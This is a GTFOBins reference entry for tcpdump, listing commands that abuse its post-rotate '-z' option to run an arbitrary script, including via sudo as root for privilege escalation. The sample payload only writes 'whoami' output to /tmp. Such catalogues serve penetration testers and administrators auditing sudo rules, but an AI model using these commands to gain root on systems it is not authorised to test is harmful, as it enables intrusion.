GTFOBins.github.io/_gtfobins/tcpdump.md
2018-08-17 17:16:09 +02:00

10 lines
329 B
Markdown

---
functions:
execute-non-interactive:
- code: echo "whoami > /tmp/whoami" > /tmp/tmpfile
tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z ./tmpfile -Z root
sudo-enabled:
- code: echo "whoami > /tmp/whoami" > /tmp/tmpfile
sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z ./tmpfile -Z root
---